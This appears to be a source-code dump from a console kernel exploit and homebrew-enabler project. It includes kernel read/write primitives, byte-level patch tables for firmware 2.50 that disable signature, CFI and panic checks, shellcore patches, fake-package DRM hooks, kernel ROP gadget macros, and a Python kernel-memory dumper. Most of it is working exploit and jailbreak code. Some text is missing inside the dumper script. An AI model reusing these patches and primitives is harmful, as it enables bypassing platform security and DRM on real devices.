| uint32_t e_version; 15 | uint32_t e_entry; /* Entry point */ 16 | uint32_t e_phoff; 17 | uint32_t e_shoff; 18 | uint32_t e_flags; 19 | uint16_t e_ehsize; 20 | uint16_t e_phentsize; 21 | uint16_t e_phnum; 22 | uint16_t e_shentsize; 23 | uint16_t e_shnum; 24 | uint16_t e_shstrndx; 25 | } Elf32_Ehdr; 26 | 27 | typedef struct elf64_hdr { 28 | unsigned char e_ident[EI_NIDENT]; /* ELF "magic number" */ 29 | uint16_t e_type; 30 | uint16_t e_machine; 31 | uint32_t e_version; 32 | uint64_t e_entry; /* Entry point virtual address */ 33 | uint64_t e_phoff; /* Program header table file offset */ 34 | uint64_t e_shoff; /* Section header table file offset */ 35 | uint32_t e_flags; 36 | uint16_t e_ehsize; 37 | uint16_t e_phentsize; 38 | uint16_t e_phnum; 39 | uint16_t e_shentsize; 40 | uint16_t e_shnum; 41 | uint16_t e_shstrndx; 42 | } Elf64_Ehdr; 43 | 44 | typedef struct elf32_phdr { 45 | uint32_t p_type; 46 | uint32_t p_offset; 47 | uint32_t p_vaddr; 48 | uint32_t p_paddr; 49 | uint32_t p_filesz; 50 | uint32_t p_memsz; 51 | uint32_t p_flags; 52 | uint32_t p_align; 53 | } Elf32_Phdr; 54 | 55 | typedef struct elf64_phdr { 56 | uint32_t p_type; 57 | uint32_t p_flags; 58 | uint64_t p_offset; /* Segment file offset */ 59 | uint64_t p_vaddr; /* Segment virtual address */ 60 | uint64_t p_paddr; /* Segment physical address */ 61 | uint64_t p_filesz; /* Segment size in file */ 62 | uint64_t p_memsz; /* Segment size in memory */ 63 | uint64_t p_align; /* Segment alignment, file & memory */ 64 | } Elf64_Phdr; 65 | 66 | #endif // ELF_H -------------------------------------------------------------------------------- /include/paging.h: -------------------------------------------------------------------------------- 1 | #ifndef PAGING_H 2 | #define PAGING_H 3 | 4 | enum pde_shift { 5 | PDE_PRESENT = 0, 6 | PDE_RW, 7 | PDE_USER, 8 | PDE_WRITE_THROUGH, 9 | PDE_CACHE_DISABLE, 10 | PDE_ACCESSED, 11 | PDE_DIRTY, 12 | PDE_PS, 13 | PDE_GLOBAL, 14 | PDE_XOTEXT = 58, 15 | PDE_PROTECTION_KEY = 59, 16 | PDE_EXECUTE_DISABLE = 63 17 | }; 18 | 19 | #define PDE_PRESENT_MASK 1UL 20 | #define PDE_RW_MASK 1UL 21 | #define PDE_USER_MASK 1UL 22 | #define PDE_WRITE_THROUGH_MASK 1UL 23 | #define PDE_CACHE_DISABLE_MASK 1UL 24 | #define PDE_ACCESSED_MASK 1UL 25 | #define PDE_DIRTY_MASK 1UL 26 | #define PDE_PS_MASK 1UL 27 | #define PDE_GLOBAL_MASK 1UL 28 | #define PDE_XOTEXT_MASK 1UL 29 | #define PDE_PROTECTION_KEY_MASK 0xFUL 30 | #define PDE_EXECUTE_DISABLE_MASK 1UL 31 | #define PDE_ADDR_MASK 0xffffffffff800ULL // bits [12, 51] 32 | 33 | #define PDE_FIELD(pde, name) (((pde) >> PDE_##name) & PDE_##name##_MASK) 34 | #define PDE_ADDR(pde) (pde & PDE_ADDR_MASK) 35 | #define SET_PDE_FIELD(pde, name, val) (pde |= (val << PDE_##name)) 36 | #define SET_PDE_BIT(pde, name) (pde |= (PDE_##name##_MASK << PDE_##name)) 37 | #define CLEAR_PDE_BIT(pde, name) (pde &= ~(PDE_##name##_MASK << PDE_##name)) 38 | #define SET_PDE_ADDR(pde, addr) do { \ 39 | pde &= ~(PDE_ADDR_MASK); \ 40 | pde |= (addr & PDE_ADDR_MASK); \ 41 | } while (0) 42 | 43 | #define KERNEL_OFFSET_PROC_P_VMSPACE 0x200 44 | #define KERNEL_OFFSET_VMSPACE_VM_PMAP 0x1D0 45 | #define KERNEL_OFFSET_PMAP_PM_PML4 0x020 46 | 47 | uint64_t get_proc_pmap(); 48 | uint64_t pmap_kextract(uint64_t va); 49 | uint64_t get_dmap_addr(uint64_t pa); 50 | 51 | uint64_t find_pml4e(uint64_t pmap, uint64_t va, uint64_t *out_pml4e); 52 | uint64_t find_pdpe(uint64_t pmap, uint64_t va, uint64_t *out_pdpe); 53 | uint64_t find_pde(uint64_t pmap, uint64_t va, uint64_t *out_pde); 54 | uint64_t find_pte(uint64_t pmap, uint64_t va, uint64_t *out_pte); 55 | 56 | int downgrade_kernel_superpages(uint64_t va, uint64_t kernel_pt_addr); 57 | uint64_t remap_page(uint64_t pmap, uint64_t va, uint64_t new_pa); 58 | 59 | #endif // PAGING_H -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/paging.h: -------------------------------------------------------------------------------- 1 | #ifndef PAGING_H 2 | #define PAGING_H 3 | 4 | enum pde_shift { 5 | PDE_PRESENT = 0, 6 | PDE_RW, 7 | PDE_USER, 8 | PDE_WRITE_THROUGH, 9 | PDE_CACHE_DISABLE, 10 | PDE_ACCESSED, 11 | PDE_DIRTY, 12 | PDE_PS, 13 | PDE_GLOBAL, 14 | PDE_XOTEXT = 58, 15 | PDE_PROTECTION_KEY = 59, 16 | PDE_EXECUTE_DISABLE = 63 17 | }; 18 | 19 | #define PDE_PRESENT_MASK 1UL 20 | #define PDE_RW_MASK 1UL 21 | #define PDE_USER_MASK 1UL 22 | #define PDE_WRITE_THROUGH_MASK 1UL 23 | #define PDE_CACHE_DISABLE_MASK 1UL 24 | #define PDE_ACCESSED_MASK 1UL 25 | #define PDE_DIRTY_MASK 1UL 26 | #define PDE_PS_MASK 1UL 27 | #define PDE_GLOBAL_MASK 1UL 28 | #define PDE_XOTEXT_MASK 1UL 29 | #define PDE_PROTECTION_KEY_MASK 0xFUL 30 | #define PDE_EXECUTE_DISABLE_MASK 1UL 31 | #define PDE_ADDR_MASK 0xffffffffff800ULL // bits [12, 51] 32 | 33 | #define PDE_FIELD(pde, name) (((pde) >> PDE_##name) & PDE_##name##_MASK) 34 | #define PDE_ADDR(pde) (pde & PDE_ADDR_MASK) 35 | #define SET_PDE_FIELD(pde, name, val) (pde |= (val << PDE_##name)) 36 | #define SET_PDE_BIT(pde, name) (pde |= (PDE_##name##_MASK << PDE_##name)) 37 | #define CLEAR_PDE_BIT(pde, name) (pde &= ~(PDE_##name##_MASK << PDE_##name)) 38 | #define SET_PDE_ADDR(pde, addr) do { \ 39 | pde &= ~(PDE_ADDR_MASK); \ 40 | pde |= (addr & PDE_ADDR_MASK); \ 41 | } while (0) 42 | 43 | #define KERNEL_OFFSET_PROC_P_VMSPACE 0x200 44 | #define KERNEL_OFFSET_VMSPACE_VM_PMAP 0x1D0 45 | #define KERNEL_OFFSET_PMAP_PM_PML4 0x020 46 | 47 | uint64_t get_proc_pmap(); 48 | uint64_t pmap_kextract(uint64_t va); 49 | uint64_t get_dmap_addr(uint64_t pa); 50 | 51 | uint64_t find_pml4e(uint64_t pmap, uint64_t va, uint64_t *out_pml4e); 52 | uint64_t find_pdpe(uint64_t pmap, uint64_t va, uint64_t *out_pdpe); 53 | uint64_t find_pde(uint64_t pmap, uint64_t va, uint64_t *out_pde); 54 | uint64_t find_pte(uint64_t pmap, uint64_t va, uint64_t *out_pte); 55 | 56 | int downgrade_kernel_superpages(uint64_t va, uint64_t kernel_pt_addr); 57 | uint64_t remap_page(uint64_t pmap, uint64_t va, uint64_t new_pa); 58 | 59 | #endif // PAGING_H -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/util.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include "debug_log.h" 10 | #include "util.h" 11 | 12 | int sceKernelGetCurrentCpu(); 13 | 14 | int pin_to_core(int num) 15 | { 16 | uint64_t mask[2] = {}; 17 | mask[0] = (1 << num); 18 | return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *) mask); 19 | } 20 | 21 | void pin_to_first_available_core() 22 | { 23 | for (int i = 0; i < 16; i++) { 24 | if (pin_to_core(i) == 0) { 25 | break; 26 | } 27 | } 28 | } 29 | 30 | int get_cpu_core() 31 | { 32 | return sceKernelGetCurrentCpu(); 33 | } 34 | 35 | void kernel_write8(uint64_t addr, uint64_t val) 36 | { 37 | uint64_t val_to_write = val; 38 | kernel_copyin(&val_to_write, addr, sizeof(val_to_write)); 39 | } 40 | 41 | void kernel_write4(uint64_t addr, uint32_t val) 42 | { 43 | uint32_t val_to_write = val; 44 | kernel_copyin(&val_to_write, addr, sizeof(val_to_write)); 45 | } 46 | 47 | uint64_t kernel_read8(uint64_t addr) 48 | { 49 | uint64_t val; 50 | kernel_copyout(addr, &val, sizeof(val)); 51 | return val; 52 | } 53 | 54 | uint32_t kernel_read4(uint64_t addr) 55 | { 56 | uint32_t val; 57 | kernel_copyout(addr, &val, sizeof(val)); 58 | return val; 59 | } 60 | 61 | void DumpHex(const void* data, size_t size) { 62 | char hexbuf[0x4000]; 63 | (void)memset(hexbuf, 0, sizeof(hexbuf)); 64 | char *cur = (char *) &hexbuf; 65 | 66 | sprintf(cur, "hex:\n"); 67 | cur += strlen(cur); 68 | 69 | char ascii[17]; 70 | size_t i, j; 71 | ascii[16] = '\0'; 72 | for (i = 0; i < size; ++i) { 73 | sprintf(cur, "%02X ", ((unsigned char*)data)[i]); 74 | cur += strlen(cur); 75 | 76 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 77 | ascii[i % 16] = ((unsigned char*)data)[i]; 78 | } else { 79 | ascii[i % 16] = '.'; 80 | } 81 | if ((i+1) % 8 == 0 || i+1 == size) { 82 | sprintf(cur, " "); 83 | cur += strlen(cur); 84 | 85 | if ((i+1) % 16 == 0) { 86 | sprintf(cur, "| %s \n", ascii); 87 | cur += strlen(cur); 88 | } else if (i+1 == size) { 89 | ascii[(i+1) % 16] = '\0'; 90 | if ((i+1) % 16 <= 8) { 91 | sprintf(cur, " "); 92 | cur += strlen(cur); 93 | } 94 | for (j = (i+1) % 16; j < 16; ++j) { 95 | sprintf(cur, " "); 96 | cur += strlen(cur); 97 | } 98 | sprintf(cur, "| %s \n", ascii); 99 | cur += strlen(cur); 100 | } 101 | } 102 | } 103 | 104 | SOCK_LOG("%s", hexbuf); 105 | } 106 | -------------------------------------------------------------------------------- /hen/include/shellcore_patches/2_50.h: -------------------------------------------------------------------------------- 1 | #ifndef SHELLCORE_PATCHES_2_50 2 | #define SHELLCORE_PATCHES_2_50 3 | 4 | #include "common.h" 5 | 6 | struct patch g_shellcore_patches_250[] = { 7 | { 8 | /* 9 | * xor eax, eax; nop; nop; nop 10 | */ 11 | 0x2203C3, 12 | "\x31\xC0\x90\x90\x90", 13 | 5 14 | }, 15 | 16 | { 17 | /* 18 | * xor eax, eax; nop; nop; nop 19 | */ 20 | 0x22040C, 21 | "\x31\xC0\x90\x90\x90", 22 | 5 23 | }, 24 | 25 | { 26 | /* 27 | * xor eax, eax; nop; nop; nop 28 | */ 29 | 0x22047C, 30 | "\x31\xC0\x90\x90\x90", 31 | 5 32 | }, 33 | 34 | { 35 | /* 36 | * xor eax, eax; nop; nop; nop 37 | */ 38 | 0x9D83F3, 39 | "\x31\xC0\x90\x90\x90", 40 | 5 41 | }, 42 | 43 | { 44 | /* 45 | * xor eax, eax; nop; nop; nop 46 | */ 47 | 0x9D843C, 48 | "\x31\xC0\x90\x90\x90", 49 | 5 50 | }, 51 | 52 | { 53 | /* 54 | * xor eax, eax; nop; nop; nop 55 | */ 56 | 0x9D84AC, 57 | "\x31\xC0\x90\x90\x90", 58 | 5 59 | }, 60 | 61 | { 62 | /* 63 | * xor eax, eax; nop; nop; nop 64 | */ 65 | 0xA669F2, 66 | "\x31\xC0\x90\x90\x90", 67 | 5 68 | }, 69 | 70 | { 71 | /* 72 | * xor eax, eax; nop; nop; nop 73 | */ 74 | 0xC65CD3, 75 | "\x31\xC0\x90\x90\x90", 76 | 5 77 | }, 78 | 79 | { 80 | /* 81 | * xor eax, eax; nop; nop; nop 82 | */ 83 | 0xC65D1C, 84 | "\x31\xC0\x90\x90\x90", 85 | 5 86 | }, 87 | 88 | { 89 | /* 90 | * xor eax, eax; nop; nop; nop 91 | */ 92 | 0xC65D8C, 93 | "\x31\xC0\x90\x90\x90", 94 | 5 95 | }, 96 | 97 | { 98 | /* 99 | * longjmp 100 | */ 101 | 0x49FC71, 102 | "\x90\xE9", 103 | 2 104 | }, 105 | 106 | { 107 | /* 108 | * strfree 109 | */ 110 | 0x1376A0B, 111 | "\x66\x72\x65\x65", 112 | 4 113 | }, 114 | 115 | { 116 | /* 117 | * xor eax, eax; inc eax; nop 118 | */ 119 | 0x3D7244, 120 | "\x31\xC0\xFF\xC0\x90", 121 | 5 122 | }, 123 | 124 | { 125 | /* 126 | * xor eax, eax; inc eax; nop 127 | */ 128 | 0x3D727F, 129 | "\x31\xC0\xFF\xC0\x90", 130 | 5 131 | }, 132 | 133 | { 134 | /* 135 | * xor eax, eax; inc eax; nop 136 | */ 137 | 0x3D760E, 138 | "\x31\xC0\xFF\xC0\x90", 139 | 5 140 | }, 141 | 142 | { 143 | /* 144 | * xor eax, eax; inc eax; ret 145 | */ 146 | 0x4EAC40, 147 | "\x31\xC0\xFF\xC0\xC3", 148 | 5 149 | } 150 | }; 151 | 152 | #endif // SHELLCORE_PATCHES_2_50 -------------------------------------------------------------------------------- /hen/src/util.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "kdlsym.h" 5 | #include "proc.h" 6 | #include "util.h" 7 | 8 | uint64_t g_dmap_base = 0; 9 | void *curthread; 10 | 11 | void init_dmap_resolve() 12 | { 13 | uint32_t DMPML4I; 14 | uint32_t DMPDPI; 15 | 16 | DMPML4I = *(uint32_t *) (kdlsym(KERNEL_SYM_DMPML4I)); 17 | DMPDPI = *(uint32_t *) (kdlsym(KERNEL_SYM_DMPDPI)); 18 | 19 | g_dmap_base = ((uint64_t) (DMPDPI) << 30) | ((uint64_t ) (DMPML4I) << 39) | 0xFFFF800000000000; 20 | } 21 | 22 | uint64_t get_dmap_addr(uint64_t pa) 23 | { 24 | // Init dmap resolve if it's not initialized already 25 | if (g_dmap_base == 0) 26 | init_dmap_resolve(); 27 | 28 | return g_dmap_base + pa; 29 | } 30 | 31 | void *find_proc_by_name(const char *name) 32 | { 33 | void *p; 34 | char *proc_name; 35 | //int proc_pid; 36 | 37 | //auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 38 | auto allproc = (void *) *(uint64_t *) kdlsym(KERNEL_SYM_ALLPROC); 39 | 40 | if (!name) { 41 | return NULL; 42 | } 43 | 44 | //printf("find_proc_by_name: proc0 = %p\n", allproc); 45 | 46 | p = allproc; 47 | while (p) { 48 | proc_name = (char *) ((char *) (p) + PROC_OFFSET_P_COMM); 49 | //proc_pid = *(int *) ((char *) (p) + PROC_OFFSET_P_PID); 50 | //printf(" proc '%s' (pid: 0x%x)\n", proc_name, proc_pid); 51 | 52 | if (!strncmp(proc_name, name, strlen(name))) { 53 | return p; 54 | } 55 | 56 | p = (void *) *(uint64_t *) p; 57 | } 58 | 59 | return NULL; 60 | } 61 | 62 | void *get_proc_vmmap(void *p) 63 | { 64 | return (void *) *(uint64_t *) ((char *) (p) + PROC_OFFSET_P_VMSPACE); 65 | } 66 | 67 | void memcpy(void *dest, const void *src, size_t n) 68 | { 69 | char *csrc = (char *) src; 70 | char *cdest = (char *) dest; 71 | 72 | for (size_t i = 0; i < n; i++) { 73 | cdest[i] = csrc[i]; 74 | } 75 | } 76 | 77 | size_t strlen(const char *str) 78 | { 79 | const char *s; 80 | 81 | for (s = str; *s; s++) ; 82 | return (s - str); 83 | } 84 | 85 | char *strstr(const char *str, const char *substring) 86 | { 87 | const char *a; 88 | const char *b; 89 | 90 | b = substring; 91 | 92 | if (*b == 0) { 93 | return (char *) str; 94 | } 95 | 96 | for ( ; *str != 0; str += 1) { 97 | if (*str != *b) { 98 | continue; 99 | } 100 | 101 | a = str; 102 | while (1) { 103 | if (*b == 0) { 104 | return (char *) str; 105 | } 106 | if (*a++ != *b++) { 107 | break; 108 | } 109 | } 110 | b = substring; 111 | } 112 | 113 | return NULL; 114 | } 115 | 116 | int strncmp(const char * s1, const char * s2, size_t n) 117 | { 118 | while (n && *s1 && (*s1 == *s2)) { 119 | ++s1; 120 | ++s2; 121 | --n; 122 | } 123 | if (n == 0) { 124 | return 0; 125 | } else { 126 | return (*(unsigned char *) s1 - *(unsigned char *) s2); 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /hen/include/fpkg.h: -------------------------------------------------------------------------------- 1 | #ifndef FPKG_H 2 | #define FPKG_H 3 | 4 | #include 5 | #include 6 | 7 | struct NpDrmCmd5 { 8 | uint32_t cmd; 9 | uint32_t res; 10 | uint64_t rif_pa; 11 | uint32_t unk10; 12 | }; 13 | 14 | struct NpDrmCmd6 { 15 | uint32_t cmd; 16 | uint32_t res; 17 | uint64_t rif_pa; 18 | uint8_t unk10[0x10]; 19 | uint8_t unk20[0x10]; 20 | uint32_t unk30; // 0 or 1 21 | }; 22 | 23 | struct ClearKey { 24 | uint32_t cmd; 25 | uint32_t res; 26 | uint64_t keyHandle; 27 | }; 28 | 29 | struct Rif { 30 | uint32_t magic; 31 | uint16_t version; 32 | uint16_t unk06; 33 | uint64_t psnid; 34 | uint64_t startTimestamp; 35 | uint64_t endTimestamp; 36 | uint8_t contentId[0x30]; 37 | uint16_t type; 38 | uint16_t drmType; 39 | uint16_t contentType; 40 | uint16_t skuFlag; 41 | uint64_t extraFlags; 42 | uint32_t unk60; 43 | uint32_t unk64; 44 | uint32_t unk68; 45 | uint32_t unk6C; 46 | uint32_t unk70; 47 | uint32_t unk74; 48 | uint32_t unk78; 49 | uint32_t unk7C; 50 | uint8_t unk80[0x10]; 51 | uint8_t unk90[0x1B0]; 52 | uint8_t discKey[0x20]; 53 | uint8_t rifIv[0x10]; 54 | uint8_t rifSecret[0x90]; 55 | uint8_t rifSignature[0x100]; 56 | }; 57 | 58 | struct RifOutput { 59 | /* 0x00 */ uint32_t version; 60 | /* 0x04 */ uint32_t unk04; 61 | /* 0x08 */ uint64_t psnid; 62 | /* 0x10 */ uint64_t startTimestamp; 63 | /* 0x18 */ uint64_t endTimestamp; 64 | /* 0x20 */ uint64_t extraFlags; 65 | /* 0x28 */ uint32_t type; 66 | /* 0x2C */ uint32_t contentType; 67 | /* 0x30 */ uint32_t skuFlag; 68 | /* 0x34 */ uint32_t unk34; 69 | /* 0x38 */ uint32_t unk38; 70 | /* 0x3C */ uint32_t unk3C; //not set 71 | /* 0x40 */ uint32_t unk40; //not set 72 | /* 0x44 */ uint32_t unk44; //not set 73 | /* 0x48 */ uint8_t contentId[0x30]; 74 | /* 0x78 */ uint8_t rifIv[0x10]; 75 | /* 0x88 */ uint32_t unk88; 76 | /* 0x8C */ uint32_t unk8C; 77 | /* 0x90 */ uint32_t unk90; 78 | /* 0x94 */ uint32_t unk94; 79 | /* 0x98 */ uint8_t unk98[0x10]; 80 | }; 81 | 82 | struct RifCmd5MemoryLayout { 83 | Rif rif; 84 | RifOutput output; 85 | }; 86 | 87 | struct PfsmgrCmd11 { 88 | uint32_t cmd; 89 | uint32_t res; 90 | uint32_t keyHandle0; 91 | uint32_t keyHandle1; //also pubkey_ver 92 | uint64_t tablePa; 93 | uint64_t headerPa; 94 | uint64_t headerCapacity; 95 | uint64_t unk28; 96 | uint64_t unk30; 97 | uint64_t unk38; 98 | uint64_t unk40; 99 | uint64_t unk48; 100 | uint32_t unk50; 101 | uint8_t contentId[0x24]; 102 | }; 103 | 104 | struct sbl_chunk_table_entry 105 | { 106 | uint64_t pa; 107 | uint64_t size; 108 | }; 109 | struct sbl_chunk_table_header 110 | { 111 | uint64_t first_pa; 112 | uint64_t data_size; 113 | uint64_t used_entries; 114 | uint64_t unk18; 115 | sbl_chunk_table_entry entries[]; 116 | }; 117 | 118 | struct RsaBuffer { 119 | uint8_t* ptr; 120 | uint32_t size; 121 | }; 122 | 123 | struct RsaKey { 124 | const uint8_t _pad00[0x20]; 125 | const uint8_t* p; 126 | const uint8_t* q; 127 | const uint8_t* dmp1; 128 | const uint8_t* dmq1; 129 | const uint8_t* iqmp; 130 | }; 131 | 132 | void apply_fpkg_hooks(); 133 | 134 | #endif /* FPKG_H */ -------------------------------------------------------------------------------- /dump_kernel.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import time 4 | 5 | # Console info 6 | CONSOLE_IP = "10.0.0.217" 7 | CONSOLE_PORT = 9003 8 | 9 | def recv_qword(s): 10 | data = s.recv(8) 11 | if not data: 12 | print("[!] Failed to receive qword") 13 | return 0 14 | return struct.unpack(" 0xC800000: 95 | break 96 | except socket.timeout: 97 | print("Timeout reached for receiving data (1 min)") 98 | break 99 | 100 | dump_file = open(dump_path, "wb") 101 | dump_file.write(dump_data) 102 | dump_file.close() 103 | s.close() 104 | 105 | dump_kernel() -------------------------------------------------------------------------------- /include/patches/2_50.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHES_2_50_H 2 | #define PATCHES_2_50_H 3 | 4 | #include "patch_common.h" 5 | 6 | struct hook g_kernel_hooks_250[] = { 7 | { 8 | HOOK_TEST_SYS_IS_DEVELOPMENT_MODE, 9 | "sys_is_development_mode() -> isDevelopmentMode()", 10 | 0x44000, 11 | 0x92A1EB 12 | }, 13 | }; 14 | 15 | struct patch g_kernel_patches_250[] = { 16 | { 17 | /* 18 | mov qword ptr [rdi + 0x408], 0xc0ffee; 19 | xor eax, eax; 20 | ret 21 | */ 22 | "sys_getgid()", 23 | 0x02A67D0, 24 | "\x48\xC7\x87\x08\x04\x00\x00\xEE\xFF\xC0\x00\x31\xC0\xC3", 25 | 14 26 | }, 27 | { 28 | // mov eax, 1; ret 29 | "sceSblACMgrHasMmapSelfCapability()", 30 | 0x0580EB0, 31 | "\xB8\x01\x00\x00\x00\xC3", 32 | 6 33 | }, 34 | { 35 | // mov eax, 1; ret 36 | "sceSblACMgrIsAllowedToMmapSelf()", 37 | 0x0580EC0, 38 | "\xB8\x01\x00\x00\x00\xC3", 39 | 6 40 | }, 41 | { 42 | // xor eax, eax; 3x nop 43 | "vm_mmap sceSblAuthMgrIsLoadable() call", 44 | 0x09A6A59, 45 | "\x31\xC0\x90\x90\x90", 46 | 5 47 | }, 48 | { 49 | // xor eax, eax; ret 50 | "cfi_check_fail()", 51 | 0x041FCA0, 52 | "\xC3", 53 | 1 54 | }, 55 | { 56 | // jmp qword ptr [rsi] 57 | "kexec trampoline gadget", 58 | 0x0042000, 59 | "\xFF\x26", 60 | 2 61 | }, 62 | { 63 | "sysveri flag", 64 | 0x411CD70, 65 | "\x00", 66 | 1 67 | }, 68 | { 69 | "panic patch 1", 70 | 0x71E7A0, 71 | "\xC3", 72 | 1 73 | }, 74 | { 75 | "panic patch 2", 76 | 0x3C7846, 77 | "\xEB\xFE", 78 | 2 79 | }, 80 | { 81 | "panic patch 3", 82 | 0x71EFF0, 83 | "\xC3", 84 | 1 85 | }, 86 | { 87 | "panic patch 4", 88 | 0x71F090, 89 | "\xC3", 90 | 1 91 | }, 92 | { 93 | "panic patch 5", 94 | 0x71F140, 95 | "\xC3", 96 | 1 97 | }, 98 | { 99 | "panic patch 6", 100 | 0x71F290, 101 | "\xC3", 102 | 1 103 | }, 104 | { 105 | "panic patch 7", 106 | 0x71F410, 107 | "\xC3", 108 | 1 109 | }, 110 | { 111 | "panic patch 8", 112 | 0x71F590, 113 | "\xC3", 114 | 1 115 | }, 116 | { 117 | "panic patch 9", 118 | 0x71F650, 119 | "\xC3", 120 | 1 121 | }, 122 | { 123 | "panic patch 10", 124 | 0x71F710, 125 | "\xC3", 126 | 1 127 | }, 128 | { 129 | "panic patch 11", 130 | 0x71F7E0, 131 | "\xC3", 132 | 1 133 | }, 134 | { 135 | "panic patch 12", 136 | 0x71F8B0, 137 | "\xC3", 138 | 1 139 | }, 140 | { 141 | "panic patch 13", 142 | 0x71F990, 143 | "\xC3", 144 | 1 145 | }, 146 | { 147 | "panic patch 14", 148 | 0x71915A, 149 | "\xB8\x00\x00\x00\x00", 150 | 5 151 | }, 152 | { 153 | "panic patch 15", 154 | 0x719187, 155 | "\xB8\x00\x00\x00\x00", 156 | 5 157 | }//, 158 | // { 159 | // "test", 160 | // 0x85ABC9, 161 | // "\x31\xF6", 162 | // 2 163 | // } 164 | }; 165 | 166 | #endif // PATCHES_2_50_H -------------------------------------------------------------------------------- /src/util.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | extern "C" 9 | { 10 | #include 11 | } 12 | 13 | #include "debug_log.h" 14 | #include "util.h" 15 | 16 | extern "C" 17 | { 18 | int sceKernelGetCurrentCpu(); 19 | 20 | typedef struct notify_request { 21 | char unk_00h[45]; 22 | char message[3075]; 23 | } notify_request_t; 24 | 25 | int sceKernelSendNotificationRequest(int, notify_request_t*, size_t, int); 26 | } 27 | 28 | int pin_to_core(int num) 29 | { 30 | uint64_t mask[2] = {}; 31 | mask[0] = (1 << num); 32 | return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *) mask); 33 | } 34 | 35 | void pin_to_first_available_core() 36 | { 37 | for (int i = 0; i < 16; i++) { 38 | if (pin_to_core(i) == 0) { 39 | break; 40 | } 41 | } 42 | } 43 | 44 | int get_cpu_core() 45 | { 46 | return sceKernelGetCurrentCpu(); 47 | } 48 | 49 | void kernel_write8(uint64_t addr, uint64_t val) 50 | { 51 | uint64_t val_to_write = val; 52 | kernel_copyin(&val_to_write, addr, sizeof(val_to_write)); 53 | } 54 | 55 | void kernel_write4(uint64_t addr, uint32_t val) 56 | { 57 | uint32_t val_to_write = val; 58 | kernel_copyin(&val_to_write, addr, sizeof(val_to_write)); 59 | } 60 | 61 | uint64_t kernel_read8(uint64_t addr) 62 | { 63 | uint64_t val; 64 | kernel_copyout(addr, &val, sizeof(val)); 65 | return val; 66 | } 67 | 68 | uint32_t kernel_read4(uint64_t addr) 69 | { 70 | uint32_t val; 71 | kernel_copyout(addr, &val, sizeof(val)); 72 | return val; 73 | } 74 | 75 | void DumpHex(const void* data, size_t size) { 76 | char hexbuf[0x4000]; 77 | (void)memset(hexbuf, 0, sizeof(hexbuf)); 78 | char *cur = (char *) &hexbuf; 79 | 80 | sprintf(cur, "hex:\n"); 81 | cur += strlen(cur); 82 | 83 | char ascii[17]; 84 | size_t i, j; 85 | ascii[16] = '\0'; 86 | for (i = 0; i < size; ++i) { 87 | sprintf(cur, "%02X ", ((unsigned char*)data)[i]); 88 | cur += strlen(cur); 89 | 90 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 91 | ascii[i % 16] = ((unsigned char*)data)[i]; 92 | } else { 93 | ascii[i % 16] = '.'; 94 | } 95 | if ((i+1) % 8 == 0 || i+1 == size) { 96 | sprintf(cur, " "); 97 | cur += strlen(cur); 98 | 99 | if ((i+1) % 16 == 0) { 100 | sprintf(cur, "| %s \n", ascii); 101 | cur += strlen(cur); 102 | } else if (i+1 == size) { 103 | ascii[(i+1) % 16] = '\0'; 104 | if ((i+1) % 16 <= 8) { 105 | sprintf(cur, " "); 106 | cur += strlen(cur); 107 | } 108 | for (j = (i+1) % 16; j < 16; ++j) { 109 | sprintf(cur, " "); 110 | cur += strlen(cur); 111 | } 112 | sprintf(cur, "| %s \n", ascii); 113 | cur += strlen(cur); 114 | } 115 | } 116 | } 117 | 118 | SOCK_LOG("%s", hexbuf); 119 | } 120 | 121 | int flash_notification(const char *fmt, ...) 122 | { 123 | va_list args; 124 | notify_request_t req; 125 | 126 | // Zero-init buffer to prevent dumb bugs 127 | bzero(&req, sizeof(req)); 128 | 129 | // Construct message 130 | va_start(args, fmt); 131 | vsnprintf((char *) &req.message, sizeof(req.message), fmt, args); 132 | va_end(args); 133 | 134 | return sceKernelSendNotificationRequest(0, &req, sizeof(req), 0); 135 | } 136 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/krop.h: -------------------------------------------------------------------------------- 1 | #ifndef KROP_H 2 | #define KROP_H 3 | 4 | #include 5 | #include 6 | 7 | #include "kdlsym.h" 8 | 9 | #define KROP_GADGET_RET kdlgadget(KERNEL_GADGET_RET) 10 | #define KROP_GADGET_INFLOOP kdlgadget(KERNEL_GADGET_INFLOOP) 11 | #define KROP_GADGET_HYPERCALL_SET_CPUID_PS4 kdlgadget(KERNEL_GADGET_HYPERCALL_SET_CPUID_PS4) 12 | #define KROP_GADGET_RETURN_ADDR kdlgadget(KERNEL_GADGET_RETURN_ADDR) 13 | #define KROP_GADGET_POP_RDI kdlgadget(KERNEL_GADGET_POP_RDI) 14 | #define KROP_GADGET_POP_RSI kdlgadget(KERNEL_GADGET_POP_RSI) 15 | #define KROP_GADGET_POP_RDX kdlgadget(KERNEL_GADGET_POP_RDX) 16 | #define KROP_GADGET_POP_RAX kdlgadget(KERNEL_GADGET_POP_RAX) 17 | #define KROP_GADGET_POP_RBX kdlgadget(KERNEL_GADGET_POP_RBX) 18 | #define KROP_GADGET_ADD_RAX_RDX kdlgadget(KERNEL_GADGET_ADD_RAX_RDX) 19 | #define KROP_GADGET_MOV_R9_QWORD_PTR_RDI_48h kdlgadget(KERNEL_GADGET_MOV_R9_QWORD_PTR_RDI_48) 20 | #define KROP_GADGET_POP_R12 kdlgadget(KERNEL_GADGET_POP_R12) 21 | #define KROP_GADGET_ADD_RAX_RDX kdlgadget(KERNEL_GADGET_ADD_RAX_RDX) 22 | #define KROP_GADGET_MOV_QWORD_PTR_RDI_RSI kdlgadget(KERNEL_GADGET_MOV_QWORD_PTR_RDI_RSI) 23 | #define KROP_GADGET_POP_RSP kdlgadget(KERNEL_GADGET_POP_RSP) 24 | #define 